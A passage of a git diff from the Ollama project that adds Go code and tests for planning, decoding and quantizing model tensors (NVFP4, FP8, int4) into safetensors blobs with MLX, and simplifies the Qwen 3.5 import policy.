w.Metadata["group_size"] != "32" { + t.Errorf("metadata = %v, want quant_type=int4 group_size=32 from config", w.Metadata) + } + if _, ok := specByName(specs, "norm.weight"); !ok { + t.Error("norm.weight should pass through as its own blob") + } +} + +func TestPlanPrequantizedModelOptNVFP4(t *testing.T) { + inv := newInventory(sourceModelConfig{}, map[string]string{ + "l.weight": "U8", + "l.weight_scale": "F8_E4M3", + "l.weight_scale_2": "F32", + }) + + specs, err := Plan(inv, Classification{Kind: SourcePrequantized}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + if len(specs) != 1 { + t.Fatalf("got %d specs %v, want 1", len(specs), specNames(specs)) + } + w := specs[0] + if w.Name != "l.weight" { + t.Fatalf("blob name = %q, want l.weight", w.Name) + } + + weightIn, _ := inputByOutput(w, "l.weight") + if weightIn.Transform != TransformRepackFP4 || weightIn.OutDtype != "U32" || !slices.Equal(weightIn.OutShape, []int32{128, 32}) { + t.Errorf("weight input = %+v, want repack to U32 [128 32]", weightIn) + } + scaleIn, _ := inputByOutput(w, "l.weight.scale") + if scaleIn.Transform != TransformRelabelU8 || scaleIn.OutDtype != "U8" { + t.Errorf("scale input = %+v, want relabel to U8", scaleIn) + } + globalIn, ok := inputByOutput(w, "l.weight.global_scale") + if !ok || globalIn.Transform != TransformScalarF32 { + t.Errorf("global_scale input = %+v ok=%v, want scalar_f32 (stored as-is)", globalIn, ok) + } + if w.Metadata["quant_type"] != "nvfp4" { + t.Errorf("quant_type = %q, want nvfp4", w.Metadata["quant_type"]) + } + if _, ok := w.Metadata["group_size"]; ok { + t.Errorf("ModelOpt should not default group_size: %v", w.Metadata) + } +} + +func TestPlanPrequantizedModelOptDropsActivationScale(t *testing.T) { + // ModelOpt ships per-weight activation scales (.input_scale and, in some + // variants, .input_global_scale) that are unused for weight-only + // inference. They must be consumed, not emitted as their own blobs. + inv := newInventory(sourceModelConfig{}, map[string]string{ + "l.weight": "U8", + "l.weight_scale": "F8_E4M3", + "l.weight_scale_2": "F32", + "l.input_scale": "F32", + "l.input_global_scale": "F32", + }) + + specs, err := Plan(inv, Classification{Kind: SourcePrequantized}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + if len(specs) != 1 { + t.Fatalf("got %d specs %v, want 1 (activation scales must not become blobs)", len(specs), specNames(specs)) + } + w := specs[0] + for _, act := range []string{"l.input_scale", "l.input_global_scale"} { + if _, leaked := inputByOutput(w, act); leaked { + t.Errorf("activation scale %s leaked into the fused blob", act) + } + for _, s := range specs { + if s.Name == act { + t.Errorf("activation scale %s emitted as its own blob", act) + } + } + } +} + +func TestPlanPrequantizedCompressedNVFP4(t *testing.T) { + inv := newInventory(sourceModelConfig{}, map[string]string{ + "l.weight_packed": "U8", + "l.weight_scale": "F8_E4M3", + "l.weight_global_scale": "F32", + "l.input_global_scale": "F32", + }) + + specs, err := Plan(inv, Classification{Kind: SourcePrequantized}, defaultQuantPolicy{}) + if err != nil { + t.Fatalf("Plan() error = %v", err) + } + if len(specs) != 1 { + t.Fatalf("got %d specs %v, want 1 (input_global_scale must be consumed)", len(specs), specNames(specs)) + } + w := specs[0] + if w.Name != "l.weight" { + t.Fatalf("blob name = %q, want l.weight", w.Name) + } + + weightIn, _ := inputByOutput(w, "l.weight") + if sourceName(weightIn) != "l.weight_packed" || weightIn.Transform != TransformRepackFP4 { + t.Errorf("weight input = %+v, want source l.weight_packed repacked", weightIn) + } + globalIn, ok := inputByOutput(w, "l.weight.global_scale") + if !ok || globalIn.Transform != TransformReciprocalF32 { + t.Errorf("global_scale input = %+v ok=%v, want reciprocal_f32", globalIn, ok) + } + if w.Metadata["quant_type"] != "nvfp4" || w.Metadata["group_size"] != "16" { + t.Errorf("metadata = %v, want quant_type=nvfp4 group_size=16", w.Metadata) + } +} diff --git a/x/create/quantize.go b/x/create/quantize.go new file mode 100644 index 000000000..b91a356bd --- /dev/null +++ b/x/create/quantize.go @@ -0,0 +1,289 @@ +package create + +import ( + "fmt" + "io" + "os" + "path/filepath" + "slices" + "strconv" + + "github.com/ollama/ollama/x/mlxrunner/mlx" + "github.com/ollama/ollama/x/quant" +) + +// QuantizeSupported reports whether MLX (and thus quantization) is available. +func QuantizeSupported() bool { + return mlx.CheckInit() == nil +} + +// quantizeItem is one tensor going into a (possibly multi-tensor) quantized +// blob: its output name, the quantization to apply (or "" to decode/keep at +// source precision), a safetensors-wrapped reader for its input bytes (keyed by +// name), and whether the input is a block-FP8 weight to decode before use. +type quantizeItem struct { + name string + quantize string + reader io.Reader + decodeFP8 bool +} + +// quantizeBlob loads, optionally quantizes, and packs the given tensors into a +// single safetensors blob (weight + scale + optional bias per quantized +// tensor). All MLX work runs on the pinned MLX thread. +func quantizeBlob(items []quantizeItem) ([]byte, error) { + var blob []byte + err := runOnMLXThread(func() error { + var err error + blob, err = quantizeBlobLocked(items) + return err + }) + return blob, err +} + +func quantizeBlobLocked(items []quantizeItem) ([]byte, error) { + allArrays := make(map[string]*mlx.Array) + var pinned []*mlx.Array + defer func() { + mlx.Unpin(pinned...) + mlx.Sweep() + }() + + tmpDir, err := os.MkdirTemp("", "ollama-quantize-*") + if err != nil { + return nil, fmt.Errorf("failed to create temp dir: %w", err) + } + defer os.RemoveAll(tmpDir) + + // Blob metadata: a single quant_type/group_size when every quantized + // tensor matches, otherwise per-tensor entries. + uniform, mixed, hasQuant := "", false, false + for _, it := range items { + if it.quantize == "" { + if hasQuant { + mixed = true + } + continue + } + if !hasQuant { + hasQuant, uniform = true, it.quantize + continue + } + if it.quantize != uniform { + mixed = true + } + } + var metadata map[string]string + if hasQuant && !mixed { + if gs, _, _ := quant.Params(uniform); gs > 0 { + metadata = map[string]string{"quant_type": uniform, "group_size": strconv.Itoa(gs)} + } + } + + for _, it := range items { + if err := func() error { + defer mlx.Sweep() + tmpPath, toEval, st, err := loadAndQuantizeArray(it.reader, it.name, it.quantize, it.decodeFP8, allArrays, tmpDir) + if tmpPath != "" { + defer os.Remove(tmpPath) + } + if err != nil { + return err + } + if st != nil { + defer st.Free() + } + mlx.Eval(toEval...) + final := arraysForItem(allArrays, it) + mlx.Pin(final...) + pinned = append(pinned, final...) + + if mixed && it.quantize != "" { + if gs, _, _ := quant.Params(it.quantize); gs > 0 { + if metadata == nil { + metadata = make(map[string]string) + } + metadata[it.name+".quant_type"] = it.quantize + metadata[it.name+".group_size"] = strconv.Itoa(gs) + } + } + return nil + }(); err != nil { + return nil, err + } + } + + outPath := filepath.Join(tmpDir, "blob.safetensors") + if err := mlx.SaveSafetensorsWithMetadata(outPath, allArrays, metadata); err != nil { + return nil, fmt.Errorf("failed to save blob: %w", err) + } + return os.ReadFile(outPath) +} + +func arraysForItem(all map[string]*mlx.Array, it quantizeItem) []*mlx.Array { + keys := []string{it.name} + if it.quantize != "" { + keys = append(keys, it.name+".scale", it.name+".bias") + } + out := make([]*mlx.Array, 0, len(keys)) + for _, k := range keys { + if a := all[k]; a != nil { + out = append(out, a) + } + } + return out +} + +// loadAndQuantizeArray writes a safetensors reader to a temp file, loads it +// with MLX, decodes a block-FP8 source tensor if present, optionally +// quantizes, and adds the resulting arrays (weight, scale, optional bias) to +// arrays keyed by name. With quantize == "" the (decoded) tensor is kept as-is. +// It must be called on the MLX thread. +// +// TODO: MLX's safetensors loader takes a file path, so we spill each tensor to a +// temp file. Wiring a streaming mlx_load_safetensors_reader into the CGO wrapper +// would let us load from the reader directly and drop the temp files. +func loadAndQuantizeArray(r io.Reader, name, quantize string, decodeFP8 bool, arrays map[string]*mlx.Array, tmpDir string) (tmpPath string, toEval []*mlx.Array, nativeHandle *mlx.SafetensorsFile, err error) { + if quantize != "" && quant.Canonical(quantize) == "" { + return "", nil, nil, fmt.Errorf("unsupported quantization type: %s", quantize) + } + + tmpFile, err := os.CreateTemp(tmpDir, "quant-*.safetensors") + if err != nil { + return "", nil, nil, fmt.Errorf("failed to create temp file: %w", err) + } + tmpPath = tmpFile.Name() + if _, err := io.Copy(tmpFile, r); err != nil { + tmpFile.Close() + return tmpPath, nil, nil, fmt.Errorf("failed to write temp file for %s: %w", name, err) + } + tmpFile.Close() + + st, err := mlx.LoadSafetensorsNative(tmpPath) + if err != nil { + return tmpPath, nil, nil, fmt.Errorf("failed to load safetensors for %s: %w", name, err) + } + + arr := st.Get(name) + if arr == nil { + st.Free() + return tmpPath, nil, nil, fmt.Errorf("tensor %q not found in safetensors", name) + } + + // Decode an FP8 source tensor (using its block scale) before quantizing, + // so a decode-only request (quantize == "") still yields usable float data. + if decodeFP8 { + scaleKey := name + ".scale_inv" + scaleInv := st.Get(scaleKey) + if scaleInv == nil { + scaleKey = name + ".scale" + scaleInv = st.Get(scaleKey) + } + if scaleInv == nil { + st.Free() + return tmpPath, nil, nil, fmt.Errorf("missing companion tensor %q or %q for fp8 source tensor %q", name+".scale_inv", name+".scale", name) + } + arr, err = decodeSourceFP8Tensor(arr, scaleInv) + if err != nil { + st.Free() + return tmpPath, nil, nil, fmt.Errorf("failed to decode fp8 tensor %s: %w", name, err) + } + mlx.Eval(arr) + } + + if quantize == "" { + arr = mlx.Contiguous(arr, false) + arrays[name] = arr + return tmpPath, []*mlx.Array{arr}, st, nil + } + + if arr.DType() != mlx.DTypeBFloat16 && arr.DType() != mlx.DTypeFloat32 && arr.DType() != mlx.DTypeFloat16 { + arr = arr.AsType(mlx.DTypeBFloat16) + mlx.Eval(arr) + } + + groupSize, bits, mode := quant.Params(quantize) + qweight, scales, qbiases := mlx.Quantize(arr, groupSize, bits, mode) + mlx.Eval(qweight, scales) + if len(qweight.Dims()) == 0 || qweight.Dims()[0] == 0 { + st.Free() + return tmpPath, nil, nil, fmt.Errorf("mlx.Quantize produced empty weight for %s (quantize=%s, groupSize=%d, bits=%d, mode=%s)", name, quantize, groupSize, bits, mode) + } + if len(scales.Dims()) == 0 || scales.Dims()[0] == 0 { + st.Free() + return tmpPath, nil, nil, fmt.Errorf("mlx.Quantize produced empty scales for %s (quantize=%s, groupSize=%d, bits=%d, mode=%s)", name, quantize, groupSize, bits, mode) + } + + qweight = mlx.Contiguous(qweight, false) + scales = mlx.Contiguous(scales, false) + arrays[name] = qweight + arrays[name+".scale"] = scales + toEval = append(toEval, qweight, scales) + if qbiases != nil { + qbiases = mlx.Contiguous(qbiases, false) + arrays[name+".bias"] = qbiases + toEval = append(toEval, qbiases) + } + return tmpPath, toEval, st, nil +} + +// decodeSourceFP8Tensor dequantizes a 128x128 block-FP8 weight using its block +// scale, returning a BF16 tensor. The weight is either 2D [rows, cols] with a 2D +// scale [ceil(rows/128), ceil(cols/128)], or a stacked 3D expert tensor +// [experts, rows, cols] with a 3D scale [experts, ceil(rows/128), ceil(cols/128)]; +// the leading expert axis (if present) is decoded block-wise per expert. +func decodeSourceFP8Tensor(weight, scale *mlx.Array) (*mlx.Array, error) { + if weight == nil || scale == nil { + return nil, fmt.Errorf("fp8 weight and scale tensors are required") + } + weightShape := weight.Dims() + scaleShape := scale.Dims() + rank := len(weightShape) + if (rank != 2 && rank != 3) || len(scaleShape) != rank { + return nil, fmt.Errorf("expected matching 2D or 3D fp8 weight and scale tensors, got %v and %v", weightShape, scaleShape) + } + + const blockRows = 128 + const blockCols = 128 + + // The 128x128 blocks tile the trailing [rows, cols]; a 3D weight carries a + // leading expert axis that broadcasts over those blocks one expert at a time. + lead := weightShape[:rank-2] + rows, cols := weightShape[rank-2], weightShape[rank-1] + sr := (rows + blockRows - 1) / blockRows + sc := (cols + blockCols - 1) / blockCols + wantScale := append(append([]int(nil), lead...), sr, sc) + if !slices.Equal(scaleShape, wantScale) { + return nil, fmt.Errorf("unexpected fp8 scale shape %v for weight shape %v; want %v", scaleShape, weightShape, wantScale) + } + + leadI32 := make([]int32, len(lead)) + for i, d := range lead { + leadI32[i] = int32(d) + } + + decoded := mlx.FromFP8(weight, mlx.DTypeBFloat16) + dtype := decoded.DType() + padBottom := blockRows*sr - rows + padSide := blockCols*sc - cols + if padBottom > 0 || padSide > 0 { + // Pad the bottom/right of the trailing [rows, cols] only. + decoded = mlx.PadConstant(decoded, []int{rank - 2, rank - 1}, []int{0, 0}, []int{padBottom, padSide}) + } + + // Split each 128x128 block into its own axis pair, scale every block by its + // per-block factor (broadcast across the block interior), then restore. + blocked := append(append([]int32(nil), leadI32...), int32(sr), blockRows, int32(sc), blockCols) + decoded = mlx.Reshape(decoded, blocked...) + // scale [..., sr, sc] -> [..., sr, 1, sc, 1] + scaleB := mlx.ExpandDims(mlx.ExpandDims(scale, len(lead)+1), len(lead)+3) + // Multiplying by an F32 scale promotes the result; keep the decoded dtype. + decoded = mlx.Mul(decoded, scaleB).AsType(dtype) + padded := append(append([]int32(nil), leadI32...), int32(rows+padBottom), int32(cols+padSide)) + decoded = mlx.Reshape(decoded, padded...) + if padBottom > 0 || padSide > 0 { + stops := append(append([]int32(nil), leadI32...), int32(rows), int32(cols)) + decoded = mlx.SliceStartStop(decoded, make([]int32, rank), stops) + } + return decoded, nil +} diff --git a/x/create/quantpolicy.go b/x/create/quantpolicy.go new file mode 100644 index 000000000..2fc000663 --- /dev/null +++ b/x/create/quantpolicy.go @@ -0,0 +1,96 @@ +package create + +import ( + "regexp" + "strconv" + "strings" +) + +// defaultQuantPolicy is the quantize policy for any architecture without a +// registered override: the shared GetTensorQuantization decision with no +// architecture-specific adjustments. +type defaultQuantPolicy struct{} + +func (defaultQuantPolicy) quantizationType(name string, shape []int32, quantize string) string { + return GetTensorQuantization(name, shape, quantize) +} + +// layerIndexRe extracts the layer index from tensor names like +// "model.language_model.layers.5.self_attn.v_proj.weight" or +// "model.language_model.layers.5.moe.experts.42.down_proj.weight" +var layerIndexRe = regexp.MustCompile(`\.layers\.(\d+)\.`) + +// layerIndex returns the transformer layer index encoded in name, or -1. +func layerIndex(name string) int { + m := layerIndexRe.FindStringSubmatch(name) + if m == nil { + return -1 + } + idx, err := strconv.Atoi(m[1]) + if err != nil { + return -1 + } + return idx +} + +// useMoreBits returns true for layers where quantization-sensitive tensors +// should use higher precision: the first and last 1/8 of layers (which handle +// input grounding and final output refinement), plus every 3rd layer in between +// to limit error accumulation through the residual stream. +func useMoreBits(layerIdx, numLayers int) bool { + return layerIdx < numLayers/8 || + layerIdx >= 7*numLayers/8 || + (layerIdx-numLayers/8)%3 == 2 +} + +// eightBit returns the 8-bit quantization type in base's family: int8 for the +// affine family, mxfp8 for the fp4 family. +func eightBit(base string) string { + if base == "int4" || base == "int8" { + return "int8" + } + return "mxfp8" +} + +// promoteEmbedding returns the 8-bit type in base's family when the embedding +// shape fits it, or "" when it does not. Token embeddings often double as the +// lm_head projection, where an 8-bit type keeps quality close to bf16 while +// saving decode bandwidth; the caller decides the fallback when 8-bit does not +// fit (the base type, or source precision). +func promoteEmbedding(shape []int32, base string) string { + if e := eightBit(base); isAligned(shape, e) { + return e + } + return "" +} + +// sensitiveType resolves a quantization-sensitive projection (v/k/down): the +// 8-bit type in base's family when promote is set and fits the shape, +// otherwise the base type when it fits, otherwise source precision. +func sensitiveType(promote bool, shape []int32, base string) string { + if promote { + if e := eightBit(base); isAligned(shape, e) { + return e + } + } + if isAligned(shape, base) { + return base + } + return "" +} + +// isEmbedTokensWeight returns true for the main token embedding weight. +func isEmbedTokensWeight(name string) bool { + return strings.HasSuffix(name, "embed_tokens.weight") && + !strings.Contains(name, "per_layer") +} + +// isVisionTower reports tensors under a model's vision tower. +func isVisionTower(name string) bool { + return strings.Contains(name, "vision_tower") || strings.Contains(name, ".visual.") +} + +// isAudioTower reports tensors under a model's audio tower or audio embedding. +func isAudioTower(name string) bool { + return strings.Contains(name, "audio_tower") || strings.Contains(name, "embed_audio") +} diff --git a/x/create/qwen35.go b/x/create/qwen35.go index ea72e83b3..b7206fe0a 100644 --- a/x/create/qwen35.go +++ b/x/create/qwen35.go @@ -1,354 +1,29 @@ package create import ( - "fmt" - "io" - "os" - "path/filepath" + "encoding/json" "strings" - - "github.com/ollama/ollama/x/safetensors" ) -type qwen35ImportTransform struct { - shouldShiftNormWeights bool - rewriteLanguageModel bool +type qwen35ImportTransform struct{} + +func newQwen35ImportTransform(json.RawMessage) (quantizePolicy, error) { + return qwen35ImportTransform{}, nil } -type qwen35SourceInfo struct { - hasPrequantizedWeights bool - shouldShiftNormWeights bool -} - -func newQwen35ImportTransform(modelDir string, cfg sourceModelConfig) (tensorImportTransform, error) { - sourceInfo, err := qwen35InspectSource(modelDir) - if err != nil { - return qwen35ImportTransform{}, err - } - if sourceInfo.hasPrequantizedWeights { - return noopImportTransform{}, nil - } - - return qwen35ImportTransform{ - shouldShiftNormWeights: sourceInfo.shouldShiftNormWeights, - rewriteLanguageModel: strings.Contains(cfg.Architecture(), "ConditionalGeneration"), - }, nil -} - -func qwen35InspectSource(modelDir string) (qwen35SourceInfo, error) { - entries, err := os.ReadDir(modelDir) - if err != nil { - return qwen35SourceInfo{}, err - } - - var info qwen35SourceInfo - for _, entry := range entries { - if entry.IsDir() || !strings.HasSuffix(entry.Name(), ".safetensors") { - continue - } - - extractor, err := safetensors.OpenForExtraction(filepath.Join(modelDir, entry.Name())) - if err != nil { - return qwen35SourceInfo{}, err - } - - for _, name := range extractor.ListTensors() { - if strings.HasSuffix(name, ".scales") { - extractor.Close() - info.hasPrequantizedWeights = true - return info, nil - } - if strings.Contains(name, "mtp.") { - info.shouldShiftNormWeights = true - continue - } - if info.shouldShiftNormWeights || !strings.Contains(name, "conv1d.weight") { - continue - } - - td, err := extractor.GetTensor(name) - if err != nil { - extractor.Close() - return qwen35SourceInfo{}, err - } - if len(td.Shape) == 3 && td.Shape[2] != 1 { - info.shouldShiftNormWeights = true - } - } - - extractor.Close() - } - - return info, nil -} - -func (t qwen35ImportTransform) skipTensor(name string) bool { - return false -} - -func qwen35ShouldKeepBF16ForDirectNonAffine(name string) bool { - switch { - case strings.HasSuffix(name, "embed_tokens.weight"): - return true - case strings.HasSuffix(name, "lm_head.weight"): - return true - case strings.HasSuffix(name, ".linear_attn.in_proj_a.weight"): - return true - case strings.HasSuffix(name, ".linear_attn.in_proj_b.weight"): - return true - case strings.HasSuffix(name, ".linear_attn.in_proj_ba.weight"): - return true - case strings.HasSuffix(name, ".mlp.gate.weight") && !strings.Contains(name, "_proj"): - return true - case strings.HasSuffix(name, ".mlp.shared_expert_gate.weight"): - return true - default: - return false - } -} - -func (t qwen35ImportTransform) quantizationType(name string, shape []int32, quantize string) string { - if strings.HasPrefix(name, "vision_tower.") { +func (qwen35ImportTransform) quantizationType(name string, shape []int32, quantize string) string { + // The vision tower is not yet supported and the low-rank linear-attention + // projections are sensitive; keep both at source precision. Everything else + // follows the generic policy, which already keeps embeddings, norms, biases, + // and routing gates unquantized. + if isVisionTower(name) || qwen35IsLowRankProjection(name) { return "" } - - stackedExpert := isStackedExpertWeight(name) - if strings.HasSuffix(name, ".bias") || strings.HasSuffix(name, ".scale") || strings.HasSuffix(name, ".qbias") || - strings.HasSuffix(name, ".biases") || strings.HasSuffix(name, ".scales") { - return "" - } - if !stackedExpert && !strings.HasSuffix(name, ".weight") { - return "" - } - if strings.Contains(name, "norm") || strings.Contains(name, "ln_") || strings.Contains(name, "layernorm") { - return "" - } - if len(shape) != 2 && !(len(shape) == 3 && stackedExpert) { - return "" - } - - var elems int64 = 1 - for _, d := range shape { - elems *= int64(d) - } - if elems < 1024 { - return "" - } - - quantNorm := normalizeQuantType(quantize) - groupSize := int32(32) - switch quantNorm { - case "nvfp4": - groupSize = 16 - case "int4", "int8": - groupSize = 64 - } - if shape[len(shape)-1]%groupSize != 0 { - return "" - } - - // Match the working HF-FP8 import policy for direct NVFP4/MXFP4/MXFP8 imports: - // keep embeddings, LM head, low-rank linear_attn projections, and routing - // gates in BF16 rather than forcing them into a non-affine quantized format. - if (quantNorm == "nvfp4" || quantNorm == "mxfp4" || quantNorm == "mxfp8") && qwen35ShouldKeepBF16ForDirectNonAffine(name) { - return "" - } - - return quantNorm + return GetTensorQuantization(name, shape, quantize) } -func (t qwen35ImportTransform) rewriteTensorData(td *safetensors.TensorData) (*safetensors.TensorData, error) { - if td == nil { - return td, nil - } - - shiftNorm := t.shouldShiftNormWeights && qwen35ShouldShiftNormKey(td.Name) - transposeConv := strings.Contains(td.Name, "conv1d.weight") && len(td.Shape) == 3 && td.Shape[2] != 1 - castToBF16 := qwen35NeedsCastToBF16(td.Name, td.Dtype) - if !shiftNorm && !transposeConv && !castToBF16 { - return td, nil - } - - raw, err := io.ReadAll(td.Reader()) - if err != nil { - return nil, fmt.Errorf("failed to read tensor %s: %w", td.Name, err) - } - - values, err := DecodeFloatTensor(td.Dtype, raw) - if err != nil { - return nil, fmt.Errorf("failed to decode tensor %s: %w", td.Name, err) - } - - shape := append([]int32(nil), td.Shape...) - if transposeConv { - values, shape = qwen35TransposeConv1D(values, shape) - } - if shiftNorm { - for i := range values { - values[i] += 1.0 - } - } - - targetDtype := td.Dtype - if castToBF16 { - targetDtype = "BF16" - } - - out, err := EncodeFloatTensor(targetDtype, values) - if err != nil { - return nil, fmt.Errorf("failed to encode tensor %s: %w", td.Name, err) - } - - return safetensors.NewTensorDataFromBytes(td.Name, targetDtype, shape, out), nil -} - -func (t qwen35ImportTransform) transformTensor(td *safetensors.TensorData) ([]*safetensors.TensorData, error) { - if td == nil { - return nil, nil - } - - name := t.canonicalTensorName(td.Name) - - // Phase 1: rename/split into intermediate tensors - var intermediates []*safetensors.TensorData - stripped := strings.TrimSuffix(name, ".weight") - switch { - case strings.HasSuffix(stripped, ".mlp.experts.gate_up_proj"): - prefix := strings.TrimSuffix(stripped, ".mlp.experts.gate_up_proj") - raw, err := io.ReadAll(td.Reader()) - if err != nil { - return nil, fmt.Errorf("failed to read tensor %s: %w", td.Name, err) - } - gateRaw, upRaw, splitShape, err := qwen35SplitAxis1Raw(raw, td.Dtype, td.Shape) - if err != nil { - return nil, fmt.Errorf("failed to split tensor %s: %w", td.Name, err) - } - intermediates = []*safetensors.TensorData{ - safetensors.NewTensorDataFromBytes(prefix+".mlp.switch_mlp.gate_proj.weight", td.Dtype, splitShape, gateRaw), - safetensors.NewTensorDataFromBytes(prefix+".mlp.switch_mlp.up_proj.weight", td.Dtype, splitShape, upRaw), - } - case strings.HasSuffix(stripped, ".mlp.experts.down_proj"): - newName := strings.TrimSuffix(stripped, ".mlp.experts.down_proj") + ".mlp.switch_mlp.down_proj.weight" - intermediates = []*safetensors.TensorData{td.WithName(newName)} - default: - intermediates = []*safetensors.TensorData{td.WithName(name)} - } - - // Phase 2: rewrite all intermediates - results := make([]*safetensors.TensorData, 0, len(intermediates)) - for _, inter := range intermediates { - rewritten, err := t.rewriteTensorData(inter) - if err != nil { - return nil, err - } - results = append(results, rewritten) - } - return results, nil -} - -func (t qwen35ImportTransform) canonicalTensorName(name string) string { - // Vision tensors: normalize to vision_tower.* prefix - switch { - case strings.HasPrefix(name, "model.visual."): - return "vision_tower." + strings.TrimPrefix(name, "model.visual.") - case strings.HasPrefix(name, "vision_tower."): - return name - case strings.HasPrefix(name, "mtp."): - return name - } - - // Language model tensors: normalize to language_model.model.* prefix - if !t.rewriteLanguageModel { - return name - } - switch { - case strings.HasPrefix(name, "model.language_model"): - return "language_model.model" + strings.TrimPrefix(name, "model.language_model") - case strings.HasPrefix(name, "language_model."): - return name - default: - return "language_model." + name - } -} - -func qwen35ShouldShiftNormKey(key string) bool { - for _, suffix := range []string{ - ".input_layernorm.weight", - ".post_attention_layernorm.weight", - "mtp.pre_fc_norm_embedding.weight", - "mtp.pre_fc_norm_hidden.weight", - "model.norm.weight", - ".q_norm.weight", - ".k_norm.weight", - } { - if strings.HasSuffix(key, suffix) { - return true - } - } - return false -} - -func qwen35NeedsCastToBF16(name, dtype string) bool { - if strings.HasSuffix(name, "A_log") { - return false - } - switch strings.ToUpper(dtype) { - case "F16", "F32", "F64": - return true - default: - return false - } -} - -func qwen35TransposeConv1D(values []float32, shape []int32) ([]float32, []int32) { - if len(shape) != 3 { - return values, shape - } - - d0, d1, d2 := int(shape[0]), int(shape[1]), int(shape[2]) - out := make([]float32, len(values)) - for i := range d0 { - for j := range d1 { - for k := range d2 { - inIdx := (i*d1+j)*d2 + k - outIdx := (i*d2+k)*d1 + j - out[outIdx] = values[inIdx] - } - } - } - - return out, []int32{shape[0], shape[2], shape[1]} -} - -func qwen35SplitAxis1Raw(raw []byte, dtype string, shape []int32) ([]byte, []byte, []int32, error) { - if len(shape) != 3 { - return nil, nil, nil, fmt.Errorf("expected 3D tensor, got shape %v", shape) - } - if shape[1]%2 != 0 { - return nil, nil, nil, fmt.Errorf("axis 1 dim %d is not even", shape[1]) - } - - elemSize, err := DTypeSize(dtype) - if err != nil { - return nil, nil, nil, err - } - - d0, d1, d2 := int(shape[0]), int(shape[1]), int(shape[2]) - perExpertBytes := d1 * d2 * elemSize - if len(raw) != d0*perExpertBytes { - return nil, nil, nil, fmt.Errorf("raw byte length %d does not match shape %v and dtype %s", len(raw), shape, dtype) - } - - halfD1 := d1 / 2 - halfExpertBytes := halfD1 * d2 * elemSize - gateRaw := make([]byte, d0*halfExpertBytes) - upRaw := make([]byte, d0*halfExpertBytes) - for e := range d0 { - src := e * perExpertBytes - dst := e * halfExpertBytes - copy(gateRaw[dst:dst+halfExpertBytes], raw[src:src+halfExpertBytes]) - copy(upRaw[dst:dst+halfExpertBytes], raw[src+halfExpertBytes:src+perExpertBytes]) - } - - return gateRaw, upRaw, []int32{shape[0], int32(halfD1), shape[2]}, nil +func qwen35IsLowRankProjection(name string) bool { + return strings.HasSuffix(name, ".linear_attn.in_proj_a.weight") || + strings.HasSuffix(name, ".linear_attn.in_proj_b.weight") || + strings.HasSuffix(name, ".linear_attn.in_proj_ba.weight") } diff --git a/x/create/transform.go b/x/create/transform.go new file mode 100644 index 000000000..ceb761cc8 --- /dev/null +++ b/x/create/transform.go @@ -0,0 +1,74 @@ +package create + +import ( + "bytes" + "fmt" + "io" + + "github.com/ollama/ollama/x/safetensors" +) + +// applyByteTransform produces a TensorSpec's output tensor from its resolved +// source tensors using only byte-level (non-MLX) operations. The MLX transform +// (decode_fp8) and quantization are handled separately by the MLX writer path. +func applyByteTransform(ts TensorSpec, sources []*safetensors.TensorData) (*safetensors.TensorData, error) { + switch ts.Transform { + case TransformNone: + if len(sources) != 1 { + return nil, fmt.Errorf("transform none expects 1 source, got %d", len(sources)) + } + return sources[0].WithName(ts.Name), nil + + case TransformRepackFP4, TransformRelabelU8: + // Both relabel the header (dtype, and for the fp4 repack the last + // dimension); the bytes are unchanged, so the reader is reused. + if len(sources) != 1 { + return nil, fmt.Errorf("transform %s expects 1 source, got %d", ts.Transform, len(sources)) + } + td := sources[0].WithName(ts.Name) + if ts.OutDtype != "" { + td.Dtype = ts.OutDtype + } + if ts.OutShape != nil { + td.Shape = append([]int32(nil), ts.OutShape...) + } + return td, nil + + case TransformScalarF32: + if len(sources) != 1 { + return nil, fmt.Errorf("transform scalar_f32 expects 1 source, got %d", len(sources)) + } + return validateScalarFloat32TensorData(sources[0], ts.Name) + + case TransformReciprocalF32: + if len(sources) != 1 { + return nil, fmt.Errorf("transform reciprocal_f32 expects 1 source, got %d", len(sources)) + } + return invertScalarFloat32TensorData(sources[0], ts.Name) + + case TransformStackExperts: + return stackExpertTensors(ts.Name, ts.OutDtype, ts.OutShape, sources) + + default: + return nil, fmt.Errorf("transform %q requires the MLX writer path", ts.Transform) + } +} + +// stackExpertTensors concatenates per-expert tensors (in the given order) into +// one [experts, ...] tensor. Row-major layout means the stacked bytes are +// exactly the per-expert byte blocks back to back. +func stackExpertTensors(name, dtype string, shape []int32, sources []*safetensors.TensorData) (*safetensors.TensorData, error) { + if len(sources) == 0 { + return nil, fmt.Errorf("stack_experts expects at least one source") + } + var buf bytes.Buffer + for i, s := range sources { + if s.Dtype != sources[0].Dtype { + return nil, fmt.Errorf("stack_experts source %d dtype %s != %s", i, s.Dtype, sources[0].Dtype) + } + if _, err := io.Copy(&buf, s.Reader()); err != nil { + return nil, fmt.Errorf("stack_experts read source %d (%s): %w", i, s.Name, err) + } + } + return safetensors.NewTensorDataFromBytes(name, dtype, append([]int32(nil), shape...), buf.Bytes()), nil +} diff --git a/x/create/writer.go b/x/create/writer.go new file mode 100644 index 000000000..bce27a34f --- /dev/null +++ b/x/create/writer.go @@ -0,0 +1,190 @@ +package create + +import ( + "bytes" + "fmt" + "io" + "path/filepath" + + "github.com/ollama/ollama/x/safetensors" +) + +const mediaTypeImageTensor = "application/vnd.ollama.image.tensor" + +// BlobStore stores a finished blob and returns its layer info. The writer +// produces the blob bytes; where they are stored — the local model store, or a +// remote target in a future networked create — is the store's concern. +type BlobStore interface { + WriteBlob(r io.Reader, mediaType, name string) (LayerInfo, error) +} + +// WriteBlobs executes a plan's blobs: for each blob it resolves the tensors' +// sources, produces the blob bytes, and stores the result. +func WriteBlobs(specs []BlobSpec, modelDir string, store BlobStore) ([]LayerInfo, error) { + src := newSourceFiles(modelDir) + defer src.close() + + layers := make([]LayerInfo, 0, len(specs)) + for _, spec := range specs { + layer, err := writeBlob(spec, src, store) + if err != nil { + return nil, err + } + layers = append(layers, layer) + } + return layers, nil +} + +// writeBlob resolves each tensor's sources and produces the blob. +func writeBlob(spec BlobSpec, src *sourceFiles, store BlobStore) (LayerInfo, error) { + needsMLX := blobNeedsMLX(spec) + var ( + tensors []*safetensors.TensorData + items []quantizeItem + ) + for _, ts := range spec.Tensors { + sources, err := src.resolve(ts.Sources) + if err != nil { + return LayerInfo{}, err + } + if needsMLX { + reader, err := quantizeInputReader(ts, sources) + if err != nil { + return LayerInfo{}, fmt.Errorf("blob %s: tensor %s: %w", spec.Name, ts.Name, err) + } + items = append(items, quantizeItem{name: 